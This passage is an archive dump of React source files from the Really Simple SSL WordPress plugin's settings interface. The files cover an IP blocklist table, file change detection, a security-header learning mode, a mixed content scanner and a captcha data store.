        const dataItem = {...data[key]};
        dataItem.action = generateActionButtons(dataItem.id);
        dataItem.flag = generateFlag(dataItem.iso2_code, dataItem.country_name);
        dataItem.status = __(dataItem.status = dataItem.status.charAt(0).toUpperCase() + dataItem.status.slice(1), 'really-simple-ssl');
        data[key] = dataItem;
    }

    let paginationSet;
    paginationSet = typeof pagination !== 'undefined';

    useEffect(() => {
        if (Object.keys(data).length === 0 ) {
            setTableHeight(100); // Adjust depending on your UI measurements
        } else {
            setTableHeight(rowHeight * (paginationSet ? pagination.perPage + 2 : 12)); // Adjust depending on your UI measurements
        }

    }, [paginationSet, pagination?.perPage, data]);

    useEffect(() => {
        let intervals = [];
        const filteredData = Object.entries(data)
            .filter(([_, dataItem]) => {
                return Object.values(dataItem).some(val => ((val ?? '').toString().toLowerCase().includes(searchTerm.toLowerCase())));
            })
            .map(([key, dataItem]) => {
                const newItem = { ...dataItem };
                newItem.action = generateActionButtons(newItem.id);
                newItem.flag = generateFlag(newItem.iso2_code, newItem.country_name);
                newItem.status = __(newItem.status = newItem.status.charAt(0).toUpperCase() + newItem.status.slice(1), 'really-simple-ssl');
                // if the newItem.time_left not is 0 we count down in seconds the value
                if (newItem.time_left > 0) {
                    const interval = setInterval(() => {
                        newItem.time_left--;
                    }, 1000);
                    intervals.push(interval);
                }
                return [key, newItem];
            })
            .reduce((obj, [key, val]) => ({ ...obj, [key]: val }), {});
    }, [searchTerm, data]);



    return (
        <>
            <TrustIpAddressModal
                isOpen={modalOpen}
                onRequestClose={handleClose}
                value={ipAddress}
                status={'blocked'}
                filter={filter? filter : 'all'}
            >
            </TrustIpAddressModal>
            <div className="rsssl-container">
                {/*display the add button on left side*/}
                <AddButton
                    moduleName={moduleName}
                    handleOpen={handleOpen}
                    processing={processing_block}
                    allowedText={__("Block IP Address", "really-simple-ssl")}
                />
                <div className="rsssl-search-bar">
                    <div className="rsssl-search-bar__inner">
                        <div className="rsssl-search-bar__icon"></div>
                        <input
                            type="text"
                            className="rsssl-search-bar__input"
                            placeholder={__("Search", "really-simple-ssl")}
                            onChange={e => setSearchTerm(e.target.value)}
                        />
                    </div>
                </div>
            </div>
            {rowsSelected.length > 0 && (
                <div
                    style={{
                        marginTop: '1em',
                        marginBottom: '1em',
                    }}
                >
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                        <div>
                            {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                        </div>
                        <div className="rsssl-action-buttons">
                            <>
                                <ActionButton
                                    onClick={() => allowById(rowsSelected)}  className="button-red">
                                    {__("Reset", "really-simple-ssl")}
                                </ActionButton>
                            </>
                        </div>
                    </div>
                </div>
            )}
            {DataTable &&
                <DataTable
                columns={columns}
                data={Object.values(data).filter((row) => {
                    return Object.values(row).some((val) => ((val ?? '').toString().toLowerCase()).includes(searchTerm.toLowerCase()));
                })}
                dense
                pagination={true}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),

                }}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                selectableRows={true}
                clearSelectedRows={rowCleared}
                paginationPerPage={rowsPerPage}
                onChangePage={handlePageChange}
                onChangeRowsPerPage={handlePerRowsChange}
                onSelectedRowsChange={handleSelection}
                theme="really-simple-plugins"
                customStyles={customStyles}
            />}
            {!enabled && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Here you can add IP addresses that should never be blocked by region restrictions.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </>
    );
}

export default BlockListDatatable;really-simple-ssl/settings/src/Settings/FileChangeDetection/FileChangeDetection.js000064400000003011147510273070024360 0ustar00
import DataTableWrapper from "../DataTable/DataTableWrapper";
import {__} from "@wordpress/i18n";
import DataTableStore from "../DataTable/DataTableStore";
import * as rsssl_api from "../../utils/api";
import useFields from "../FieldsData";
import useMenu from "../../Menu/MenuData";
import {toast} from "react-toastify";

const FileChangeDetection = ({field}) => {
    const {
        clearAllData,
        setProcessing,
    } = DataTableStore();
    const { updateFieldsData, showSavedSettingsNotice } = useFields();
    const { selectedSubMenuItem} = useMenu();
    const enabled = true;
    const handleClick = async () => {
        setProcessing(true);
        try {
            const response = await rsssl_api.doAction(
                'reset_changed_files',
                {}
            );

        } catch (e) {
            console.log(e);
        } finally {
            showSavedSettingsNotice(__('File changes have been been reset', 'really-simple-ssl') );
            clearAllData();
            setProcessing(false);
            //field now should be disabled, as it's now processing
            updateFieldsData(selectedSubMenuItem);
        }
    }

    let controlButton = {
        show:true,
        onClick:handleClick,
        label:__("Reset changed files", "really-simple-ssl")
    };

    return (
        <>
            <DataTableWrapper
                field={field}
                controlButton={controlButton}
                enabled={true}
            />
        </>
    )
}

export default FileChangeDetection;really-simple-ssl/settings/src/Settings/LearningMode/LearningMode.js000064400000041366147510273070021637 0ustar00import { __ } from '@wordpress/i18n';
import {useState,useEffect} from '@wordpress/element';
import ChangeStatus from "./ChangeStatus";
import Delete from "./Delete";
import Icon from "../../utils/Icon";
import useFields from "./../FieldsData";
import useLearningMode from "./LearningModeData";
import {Button} from "@wordpress/components";
import React from "react";

const LearningMode = (props) => {
    const {updateField, getFieldValue, getField, setChangedField, highLightField, saveFields} = useFields();
    const {fetchLearningModeData, learningModeData, dataLoaded, updateStatus, deleteData } = useLearningMode();

    //used to show if a feature is already enforced by a third party
    const [enforcedByThirdparty, setEnforcedByThirdparty] = useState(0);
    //toggle from enforced to not enforced
    const [enforce, setEnforce] = useState(0);
    //toggle from learning mode to not learning mode
    const [learningMode, setLearningMode] = useState(0);
    //set learning mode to completed
    const [learningModeCompleted, setLearningModeCompleted] = useState(0);
    const [hasError, setHasError] = useState(false);
    //check if learningmode has been enabled at least once
    const [lmEnabledOnce, setLmEnabledOnce] = useState(0);
    //filter the data
    const [filterValue, setFilterValue] = useState(-1);
    //the value that is used to enable or disable this feature. On or of.
    const [controlField, setControlField] = useState(false);
    // the value that is used to select and deselect rows
    const [rowsSelected, setRowsSelected] = useState([]);
    const [rowCleared, setRowCleared] = useState(false);

    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);
    useEffect( () => {
        import('react-data-table-component').then(({ default: DataTable, createTheme }) => {
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });

    }, []);


    /**
     * Styling
     */
    const conditionalRowStyles = [
        {
            when: row => row.status ==0,
            classNames: ['rsssl-datatables-revoked'],
        },
    ];

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };


;

    /**
     * Initialize
     */
    useEffect(() => {
        const run = async () => {
            await fetchLearningModeData(props.field.id);
            let controlField = getField(props.field.control_field );
            let enforced_by_thirdparty = controlField.value === 'enforced-by-thirdparty';
            let enforce = enforced_by_thirdparty || controlField.value === 'enforce';

            setControlField(controlField);
            setEnforcedByThirdparty(enforced_by_thirdparty);
            setLearningModeCompleted(controlField.value==='completed');
            setHasError(controlField.value==='error');
            setLmEnabledOnce(getFieldValue(props.field.control_field+'_lm_enabled_once'))
            setEnforce(enforce);
            setLearningMode(controlField.value === 'learning_mode');
        }
        run();
    }, [enforce, learningMode] );

    const toggleEnforce = async (e, enforceValue) => {
        e.preventDefault();
        //enforce this setting
        let controlFieldValue = enforceValue==1 ? 'enforce' : 'disabled';
        setEnforce(enforceValue);
        setLearningModeCompleted(0);
        setLearningMode(0);
        setChangedField(controlField.id, controlFieldValue);
        updateField(controlField.id, controlFieldValue);
        await saveFields(true, false);
        //await fetchLearningModeData();
    }


    const toggleLearningMode = async (e) => {
         e.preventDefault();
        let lmEnabledOnceField = getField(props.field.control_field+'_lm_enabled_once');
        if ( learningMode ) {
            setLmEnabledOnce(1);
            updateField(lmEnabledOnceField.id, 1);
        }

        let controlFieldValue;
        if ( learningMode || learningModeCompleted ) {
            setLearningMode(0);
            controlFieldValue = 'disabled';
        } else {
            setLearningMode(1);
            controlFieldValue = 'learning_mode';
        }
        setLearningModeCompleted(0);
        setChangedField(controlField.id, controlFieldValue);
        updateField(controlField.id, controlFieldValue);
        setChangedField(lmEnabledOnceField.id, lmEnabledOnceField.value);
        updateField(lmEnabledOnceField, lmEnabledOnceField.value);
        await saveFields(true, false);
    }

    const Filter = () => (
        <>
            <select onChange={ ( e ) => setFilterValue(e.target.value) } value={filterValue}>
                <option value="-1" >{__("All", "really-simple-ssl")}</option>
                <option value="1" >{__("Allowed", "really-simple-ssl")}</option>
                <option value="0" >{__("Blocked", "really-simple-ssl")}</option>
            </select>
        </>
    );

    let field = props.field;
    let configuringString = __(" The %s is now in report-only mode and will collect directives. This might take a while. Afterwards you can Exit, Edit and Enforce these Directives.", "really-simple-ssl").replace('%s', field.label);
    let disabledString = __("%s has been disabled.", "really-simple-ssl").replace('%s', field.label);
    let enforcedString = __("%s is enforced.", "really-simple-ssl").replace('%s', field.label);
    let enforceDisabled = !lmEnabledOnce;
    if (enforcedByThirdparty) disabledString = __("%s is already set outside Really Simple Security.", "really-simple-ssl").replace('%s', field.label);
    let highLightClass = 'rsssl-field-wrap';
    if ( highLightField===props.field.id ) {
        highLightClass = 'rsssl-field-wrap rsssl-highlight';
    }
    //build our header
    let columns = [];
    field.columns.forEach(function(item, i) {
        let newItem = {
            name: item.name,
            sortable: item.sortable,
            width: item.width,
            selector: item.column === 'documenturi' || item.column === 'method'
                ? row => <span title={row[item.column]}>{row[item.column]}</span>: row => row[item.column],
        }
        columns.push(newItem);
    });

    let data = learningModeData;
    data = data.filter(item => item.status<2);
    if (filterValue!=-1) {
        data = data.filter(item => item.status==filterValue);
    }
    for (const item of data){
        if (item.login_status) item.login_statusControl = item.login_status == 1 ? __("success", "really-simple-ssl") : __("failed", "really-simple-ssl");
        item.statusControl = <ChangeStatus item={item} field={props.field} />;
        item.deleteControl = <Delete item={item} field={props.field}/>;
        item.grouped = <div className="rsssl-action-buttons">
            <ChangeStatus item={item} field={props.field} />
            <Delete item={item} field={props.field}/>
        </div>
    }

    const handleMultiRowStatus = (status, selectedRows, type) => {
        selectedRows.forEach(row => {
            //the updateItemId allows us to update one specific item in a field set.
            updateStatus(status, row, type);
        });
        setRowCleared(true);
        setRowsSelected([]);
        // Reset rowCleared back to false after the DataTable has re-rendered
        setTimeout(() => setRowCleared(false), 0);
    }

    const handleMultiRowDelete = (  selectedRows, type) => {
        selectedRows.forEach(row => {
            //the updateItemId allows us to update one specific item in a field set.
            deleteData( row, type );
        });
        setRowCleared(true);
        setRowsSelected([]);
        // Reset rowCleared back to false after the DataTable has re-rendered
        setTimeout(() => setRowCleared(false), 0);
    }
    function handleSelection(state) {
        setRowCleared(false);
        setRowsSelected(state.selectedRows);
    }

    if (!DataTable || !theme) return null;
    return (
        <>
            <div>
                { !dataLoaded && <>
                    <div className="rsssl-learningmode-placeholder">
                        <div></div><div></div><div></div><div></div>
                    </div>
                </>}
                {rowsSelected.length > 0 && (
                    <div
                        style={{
                            marginTop: '1em',
                            marginBottom: '1em',
                        }}
                    >
                        <div
                            className={"rsssl-multiselect-datatable-form rsssl-primary"}
                        >
                            <div>
                                {__("You have selected", "really-simple-ssl")} {rowsSelected.length} {__("rows", "really-simple-ssl")}
                            </div>

                            <div className="rsssl-action-buttons">
                                {(Number(filterValue) === -1 || Number(filterValue) === 0 ) &&
                                <div className="rsssl-action-buttons__inner">
                                    <Button
                                        // className={"button button-red rsssl-action-buttons__button"}
                                        className={"button button-secondary rsssl-status-allowed rsssl-action-buttons__button"}
                                        onClick={ () => handleMultiRowStatus( 0, rowsSelected, props.field.id ) }
                                    >
                                        {__('Allow', 'really-simple-ssl')}
                                    </Button>
                                </div>
                                }
                                {(Number(filterValue) === -1 || Number(filterValue) === 1 ) &&
                                    <div className="rsssl-action-buttons__inner">
                                        <Button
                                            // className={"button button-red rsssl-action-buttons__button"}
                                            className={"button button-primary rsssl-action-buttons__button"}
                                            onClick={ () => handleMultiRowStatus( 1, rowsSelected, props.field.id ) }
                                        >
                                            {__('Revoke', 'really-simple-ssl')}
                                        </Button>
                                    </div>
                                }
                                <div className="rsssl-action-buttons__inner">
                                    <Button
                                        // className={"button button-red rsssl-action-buttons__button"}
                                        className={"button button-red rsssl-action-buttons__button"}
                                        onClick={ () => handleMultiRowDelete( rowsSelected, props.field.id ) }
                                    >
                                        {__('Remove', 'really-simple-ssl')}
                                    </Button>
                                </div>
                            </div>
                        </div>
                    </div>
                )}
                {dataLoaded && <>
                    <DataTable
                        columns={columns}
                        data={data}
                        dense
                        pagination
                        noDataComponent={__("No results", "really-simple-ssl")}
                        persistTableHead
                        theme={theme}
                        customStyles={customStyles}
                        conditionalRowStyles={conditionalRowStyles}
                        paginationComponentOptions={{
                            rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                            rangeSeparatorText: __('of', 'really-simple-ssl'),
                            noRowsPerPage: false,
                            selectAllRowsItem: false,
                            selectAllRowsItemText: __('All', 'really-simple-ssl'),
                        }}
                        selectableRows
                        selectableRowsHighlight={true}
                        onSelectedRowsChange={handleSelection}
                        clearSelectedRows={rowCleared}
                    /></>
                }
              <div className={"rsssl-learning-mode-footer "}>
                  {hasError && <div className="rsssl-locked">
                          <div className="rsssl-locked-overlay">
                              <span className="rsssl-progress-status rsssl-learning-mode-error">{__("Error detected","really-simple-ssl")}</span>
                              {__("%s cannot be implemented due to server limitations. Check your notices for the detected issue.", "really-simple-ssl").replace('%s', field.label)}&nbsp;
                              <a className="rsssl-learning-mode-link" href="#" onClick={ (e) => toggleEnforce(e, false ) }>{__("Disable", "really-simple-ssl") }</a>
                          </div>
                      </div>
                  }
                  {!hasError && <>
                      { enforce!=1 && <button disabled={enforceDisabled} className="button button-primary" onClick={ (e) => toggleEnforce(e, true ) }>{__("Enforce","really-simple-ssl")}</button> }
                      { !enforcedByThirdparty && enforce==1 && <button className="button" onClick={ (e) => toggleEnforce(e, false ) }>{__("Disable","really-simple-ssl")}</button> }
                      <label>
                          <input type="checkbox"
                              disabled = {enforce}
                              checked ={learningMode==1}
                              value = {learningMode}
                              onChange={ ( e ) => toggleLearningMode(e) }
                          />
                          {__("Enable Learning Mode to configure automatically","really-simple-ssl")}
                      </label>
                    { enforce==1 && <div className="rsssl-locked">
                        <div className="rsssl-shield-overlay">
                              <Icon name = "shield"  size="80px"/>
                        </div>
                        <div className="rsssl-locked-overlay">
                            <span className="rsssl-progress-status rsssl-learning-mode-enforced">{__("Enforced","really-simple-ssl")}</span>
                            {enforcedString}&nbsp;
                            <a className="rsssl-learning-mode-link" href="#" onClick={ (e) => toggleEnforce(e) }>{__("Disable to configure", "really-simple-ssl") }</a>
                        </div>
                    </div>}
                    {learningMode==1 && <div className="rsssl-locked">
                        <div className="rsssl-locked-overlay">
                            <span className="rsssl-progress-status rsssl-learning-mode">{__("Learning Mode","really-simple-ssl")}</span>
                            {configuringString}&nbsp;
                            <a className="rsssl-learning-mode-link" href="#" onClick={ (e) => toggleLearningMode(e) }>{__("Exit", "really-simple-ssl") }</a>
                        </div>
                    </div>}
                    { learningModeCompleted==1 && <div className="rsssl-locked">
                        <div className="rsssl-locked-overlay">
                            <span className="rsssl-progress-status rsssl-learning-mode-completed">{__("Learning Mode","really-simple-ssl")}</span>
                            {__("We finished the configuration.", "really-simple-ssl")}&nbsp;
                            <a className="rsssl-learning-mode-link" href="#" onClick={ (e) => toggleLearningMode(e) }>{__("Review the settings and enforce the policy", "really-simple-ssl") }</a>
                        </div>
                    </div> }
                    { rsssl_settings.pro_plugin_active && props.disabled && <div className="rsssl-locked ">
                        <div className="rsssl-locked-overlay">
                            { !enforcedByThirdparty && <span className="rsssl-progress-status rsssl-disabled">{__("Disabled","really-simple-ssl")}</span> }
                            { enforcedByThirdparty && <span className="rsssl-progress-status rsssl-learning-mode-enforced">{__("Enforced","really-simple-ssl")}</span> }
                            { disabledString }
                        </div>
                    </div>}
                  </>
                  }
                <Filter />
            </div>
            </div>
        </>
    )
}

export default LearningMode
really-simple-ssl/settings/src/Settings/LearningMode/Delete.js000064400000001752147510273070020470 0ustar00import useLearningMode from "./LearningModeData";
import {__} from "@wordpress/i18n";

const Delete = (props) => {
    const {deleteData} = useLearningMode();

    return (
        <button type="button" className="button button-red rsssl-learning-mode-delete" onClick={ () => deleteData( props.item, props.field.id ) }>
            {/*<svg aria-hidden="true" focusable="false" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512" height="16" >*/}
            {/*    <path fill="#000000" d="M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"/>*/}
            {/*</svg>*/}
            {__("Delete", "really-simple-ssl")}
        </button>
    )
}
export default Deletereally-simple-ssl/settings/src/Settings/LearningMode/LearningModeData.js000064400000005577147510273070022435 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";

const UseLearningMode = create(( set, get ) => ({
    learningModeData: [],
    dataLoaded: false,
    fetchLearningModeData: async (type) => {
        let data = {};
        data.type = type;
        data.lm_action = 'get';
        let learningModeData = await rsssl_api.doAction('learning_mode_data', data).then((response) => {
            return response;
        })

        if ( typeof learningModeData === 'object' && learningModeData.request_success === true ) {
            learningModeData = Object.values(learningModeData);
        }

        if ( !Array.isArray(learningModeData) ) {
            learningModeData = [];
        }
        set({
            learningModeData: learningModeData,
            dataLoaded:true,
        });
    },
    updateStatus: async (enabled, updateItem, type) => {
        let learningModeData = get().learningModeData;
        let data = {};
        data.type = type;
        data.updateItemId = updateItem.id;
        data.enabled = enabled==1 ? 0 : 1;
        data.lm_action = 'update';

        //for fast UX feel, update the state before we post
        for (const item of learningModeData){
            if (updateItem.id === item.id && item.status) {
                item.status = data.enabled;
            }
        }
        set({
            learningModeData: learningModeData,
        });
        learningModeData = await rsssl_api.doAction('learning_mode_data', data).then((response) => {
            return response;
        })
        if ( typeof learningModeData === 'object' ) {
            learningModeData = Object.values(learningModeData);
        }
        if ( !Array.isArray(learningModeData) ) {
            learningModeData = [];
        }
        set({
            learningModeData: learningModeData,
            dataLoaded:true,
        });
    },
    deleteData: async (deleteItem, type) => {
        let learningModeData = get().learningModeData;

        let data = {};
        data.type = type;
        data.updateItemId = deleteItem.id;
        data.lm_action = 'delete';
        //for fast UX feel, update the state before we post
        learningModeData.forEach(function(item, i) {
            if (item.id === deleteItem.id) {
                learningModeData.splice(i, 1);
            }
        });
        set({
            learningModeData: learningModeData,
        });
        learningModeData = await rsssl_api.doAction('learning_mode_data', data).then((response) => {
            return response;
        })
        if ( typeof learningModeData === 'object' ) {
            learningModeData = Object.values(learningModeData);
        }
        if ( !Array.isArray(learningModeData) ) {
            learningModeData = [];
        }
        set({
            learningModeData: learningModeData,
            dataLoaded:true,
        });
    },

}));

export default UseLearningMode;


really-simple-ssl/settings/src/Settings/LearningMode/ChangeStatus.js000064400000001131147510273070021646 0ustar00import { __ } from '@wordpress/i18n';
import useLearningMode from "./LearningModeData";
const ChangeStatus = (props) => {
    const {updateStatus} = useLearningMode();

    let statusClass = props.item.status==1 ? 'button button-primary rsssl-status-allowed' : 'button button-default rsssl-status-revoked';
    let label = props.item.status==1 ? __("Revoke", "really-simple-ssl") : __("Allow", "really-simple-ssl");
    return (
        <button onClick={ () => updateStatus( props.item.status, props.item, props.field.id ) } className={statusClass}>{label}</button>
    )
}
export default ChangeStatusreally-simple-ssl/settings/src/Settings/MixedContentScan/MixedContentData.js000064400000006253147510273070023324 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";

const UseMixedContent = create(( set, get ) => ({
    mixedContentData: [],
    dataLoaded:false,
    fixedItemId:false,
    action:'',
    nonce:'',
    completedStatus:'never',
    progress:0,
    scanStatus:false,
    fetchMixedContentData: async () => {
        set({ scanStatus: 'running' } );
        const {data, progress, state, action, nonce, completed_status } = await getScanIteration(false);
        set({
            scanStatus: state,
            mixedContentData: data,
            progress: progress,
            action: action,
            nonce: nonce,
            completedStatus: completed_status,
            dataLoaded: true,
        });
    },
    start: async () => {
        const {data, progress, state, action, nonce, completed_status } = await getScanIteration('start');
        set({
            scanStatus: state,
            mixedContentData: data,
            progress: progress,
            action: action,
            nonce: nonce,
            completedStatus: completed_status,
            dataLoaded:true,
        });
    },
    runScanIteration: async () => {
        let currentState = get().scanStatus;
        if ( currentState==='stop' ) {
            return;
        }

        const {data, progress, state, action, nonce, completed_status } = await getScanIteration(currentState);
        if ( get().scanStatus !== 'stop' ) {
            set({
                scanStatus: state,
                mixedContentData: data,
                progress: progress,
                action: action,
                nonce: nonce,
                completedStatus: completed_status,
                dataLoaded:true,
            });
        }


    },
    stop: async () => {
        set({ scanStatus: 'stop' } );
        const {data, progress, state, action, nonce, completed_status } = await getScanIteration('stop');
        set({
            scanStatus: 'stop',
            mixedContentData: data,
            progress: progress,
            action: action,
            nonce: nonce,
            completedStatus: completed_status,
        });
    },
    removeDataItem: (removeItem) => {
        let data = get().mixedContentData;
        for (const item of data) {
            if (item.id===removeItem.id){
                item.fixed = true;
            }
        }
        set({
            mixedContentData: data,
        });
    },
    ignoreDataItem: (ignoreItem) => {
        let data = get().mixedContentData;
        for (const item of data) {
            if (item.id===ignoreItem.id){
                item.ignored = true;
            }
        }
        set({
            mixedContentData: data,
        });
    }


}));

export default UseMixedContent;

const getScanIteration = async (state) => {
    return await rsssl_api.runTest('mixed_content_scan', state).then((response) => {
        let data = response.data;
        if (typeof data === 'object') {
            data = Object.values(data);
        }
        if ( !Array.isArray(data) ) {
            data = [];
        }
        response.data = data;
        if ( state==='stop' ) {
            response.state = 'stop';
        }

        return response;
    })
}

really-simple-ssl/settings/src/Settings/MixedContentScan/MixedContentScan.js000064400000023775147510273070023347 0ustar00import {useState, useEffect} from "@wordpress/element";
import {Button, ToggleControl} from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import ModalControl from "../../Modal/ModalControl";
import Icon from "../../utils/Icon";
import UseMixedContent from "./MixedContentData";
import useModal from "../../Modal/ModalData";
import React from "react";

const MixedContentScan = (props) => {
    const {fixedItems, ignoredItems} = useModal();
    const {fetchMixedContentData, mixedContentData, runScanIteration, start, stop, dataLoaded, action, scanStatus, progress, completedStatus, nonce, removeDataItem, ignoreDataItem} = UseMixedContent();
    const [showIgnoredUrls, setShowIgnoredUrls] = useState(false);
    const [resetPaginationToggle, setResetPaginationToggle] = useState(false);
    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);
    useEffect( () => {
        import('react-data-table-component').then(({ default: DataTable, createTheme }) => {
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });

    }, []);
    useEffect( () => {
        fetchMixedContentData();
    }, [] );

    useEffect( () => {
        if (scanStatus==='running') {
            runScanIteration()
        }
    }, [progress, scanStatus] );

    const toggleIgnoredUrls = (e) => {
        setShowIgnoredUrls(!showIgnoredUrls);
    }

    let field = props.field;
    let columns = [];
    field.columns.forEach(function(item, i) {
        let newItem = {
            name: item.name,
            sortable: item.sortable,
            grow: item.grow,
            selector: row => row[item.column],
            right: !!item.right,
        }
        columns.push(newItem);
    });

    let dataTable = dataLoaded ? mixedContentData : [];

    for (const item of dataTable) {
        item.warningControl = <span className="rsssl-task-status rsssl-warning">{__("Warning", "really-simple-ssl")}</span>

        //check if an item was recently fixed or ignored, and update the table
        if (fixedItems.includes(item.id)) {
            item.fixed = true;
        }
        if (ignoredItems.includes(item.id)) {
            item.ignored = true;
        }
        //give fix and details the url as prop
        if ( item.fix ) {
            item.fix.url = item.blocked_url;
            item.fix.nonce = nonce;
        }
        if (item.details) {
            item.details.url = item.blocked_url;
            item.details.nonce = nonce;
            item.details.ignored = item.ignored;
        }
        if (item.location.length > 0) {
            if (item.location.indexOf('http://') !== -1 || item.location.indexOf('https://') !== -1) {
                item.locationControl =
                    <a href={item.location} target="_blank" rel="noopener noreferrer">{__("View", "really-simple-ssl")}</a>
            } else {
                item.locationControl = item.location;
            }
        }
        item.detailsControl = item.details &&
            <ModalControl
                            handleModal={props.handleModal}
                            item={item}
                            id={item.id}
                            btnText={__("Details", "really-simple-ssl")}
                            btnStyle={"secondary"}
                            modalData={item.details}/>;
        item.fixControl = item.fix &&
            <ModalControl className={"button button-primary"}
                            handleModal={props.handleModal}
                            item={item}
                          id={item.id}
                          btnText={__("Fix", "really-simple-ssl")}
                            btnStyle={"primary"}
                            modalData={item.fix}/>;
    }

    if ( !showIgnoredUrls ) {
        dataTable = dataTable.filter(
            item => !item.ignored,
        );
    }

    //filter also recently fixed items
    dataTable = dataTable.filter(
        item => !item.fixed,
    );

    let progressOutput =progress+'%';
    let startDisabled = scanStatus === 'running';
    let stopDisabled = scanStatus !== 'running';

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };

    const ExpandableRow = ({ data, disabled, handleFix }) => {
        return (
            <div className="rsssl-container">
                <div>
                    <p>
                        {data.details.description.map((item, i) => (
                            <React.Fragment key={'fragment-'+i}>
                                <span>{item}</span>
                                <br />
                            </React.Fragment>
                        ))}
                    </p>
                </div>
                <div
                    className=""
                    style={{ display: 'flex', alignItems: 'center', justifyContent: 'center' }}
                >
                    {data.details.edit && (
                        <a
                            href={data.details.edit}
                            target="_blank"
                            rel="noopener noreferrer"
                            className="button button-secondary"
                            style={{display: 'flex', alignItems: 'center', justifyContent: 'center', marginRight: '10px' }}
                        >
                            {__("Edit", "really-simple-ssl")}
                        </a>
                    )}
                    {data.details.help && (
                        <button
                            href={data.details.help}
                            target="_blank"
                            rel="noopener noreferrer"
                            className="button button-red"
                            style={{display: 'flex', alignItems: 'center', justifyContent: 'center', marginRight: '10px'}}
                        >
                            {__("Help", "really-simple-ssl")}
                        </button>
                    )}
                    {!data.details.ignored && data.details.action === 'ignore_url' && (
                        <button
                            disabled={disabled}
                            className="button button-primary"
                            onClick={(e) => handleFix(e, 'ignore')}
                            style={{display: 'flex', alignItems: 'center', justifyContent: 'center', marginRight: '10px'}}
                        >
                            {__("Ignore", "really-simple-ssl")}
                        </button>
                    )}
                    {data.details.action !== 'ignore_url' && (
                        <button
                            disabled={disabled}
                            className="button button-primary rsssl-action-buttons__button"
                            onClick={(e) => handleFix(e, 'fix')}
                        >
                            {__("Fix", "really-simple-ssl")}
                        </button>
                    )}
                </div>
            </div>
        );
    };

    return (
        <>
            <div className="rsssl-progress-container">
                <div className="rsssl-progress-bar" style={{width: progressOutput}} ></div>
            </div>
            {scanStatus==='running' && <div className="rsssl-current-scan-action">{action}</div>}
                {dataTable.length===0 && <>
                    <div className="rsssl-mixed-content-description">
                        {scanStatus!=='running' && completedStatus==='never' && __("No results. Start your first scan","really-simple-ssl")}
                        {scanStatus!=='running' && completedStatus==='completed' && __("Everything is now served over SSL","really-simple-ssl")}
                    </div>
                    { (scanStatus ==='running' || completedStatus!=='completed') && <div className="rsssl-mixed-content-placeholder">
                             <div></div><div></div><div></div>
                    </div>
                    }
                    { scanStatus!=='running' && completedStatus==='completed' && <div className="rsssl-shield-overlay">
                          <Icon name = "shield"  size="80px"/>
                    </div> }
                    </>}
                { DataTable && dataTable.length>0 &&
                    <div className={'rsssl-mixed-content-datatable'}>
                        <DataTable
                            columns={columns}
                            data={dataTable}
                            expandableRows
                            expandableRowsComponent={ExpandableRow}
                            dense
                            pagination
                            paginationResetDefaultPage={resetPaginationToggle} // optionally, a hook to reset pagination to page 1
                            noDataComponent={__("No results", "really-simple-ssl")} //or your component
                            theme={theme}
                            customStyles={customStyles}
                        />
                    </div>  }
            <div className="rsssl-grid-item-content-footer">
                <button className="button" disabled={startDisabled} onClick={ () => start() }>{__("Start scan","really-simple-ssl")}</button>
                <button className="button" disabled={stopDisabled} onClick={ () => stop() }>{__("Stop","really-simple-ssl")}</button>
                <ToggleControl
                    checked= { showIgnoredUrls==1 }
                    onChange={ (e) => toggleIgnoredUrls(e) }
                />
                <label>{__('Show ignored URLs', 'really-simple-ssl')}</label>
            </div>

        </>
    )

}

export default MixedContentScan;
really-simple-ssl/settings/src/Settings/Captcha/CaptchaData.js000064400000002725147510273070020423 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";

const useCaptchaData = create(( set, get ) => ({
    reloadCaptcha: false,
    setReloadCaptcha: ( value ) => set({ reloadCaptcha: value }),
    verifyCaptcha: async ( responseToken ) => {
        try {
            const response = await rsssl_api.doAction('verify_captcha', { responseToken: responseToken });

            // Handle the response
            if ( !response ) {
                console.error('No response received from the server.');
                return;
            }
            return response;
        } catch (error) {
            console.error('Error:', error);
        }
    },
    removeRecaptchaScript: async(source = 'recaptcha') => {
        if (window.grecaptcha) {
            window.grecaptcha.reset();
            delete window.grecaptcha;
        }
        const scriptTags = document.querySelectorAll('script[src^="https://www.google.com/recaptcha/api.js"]');
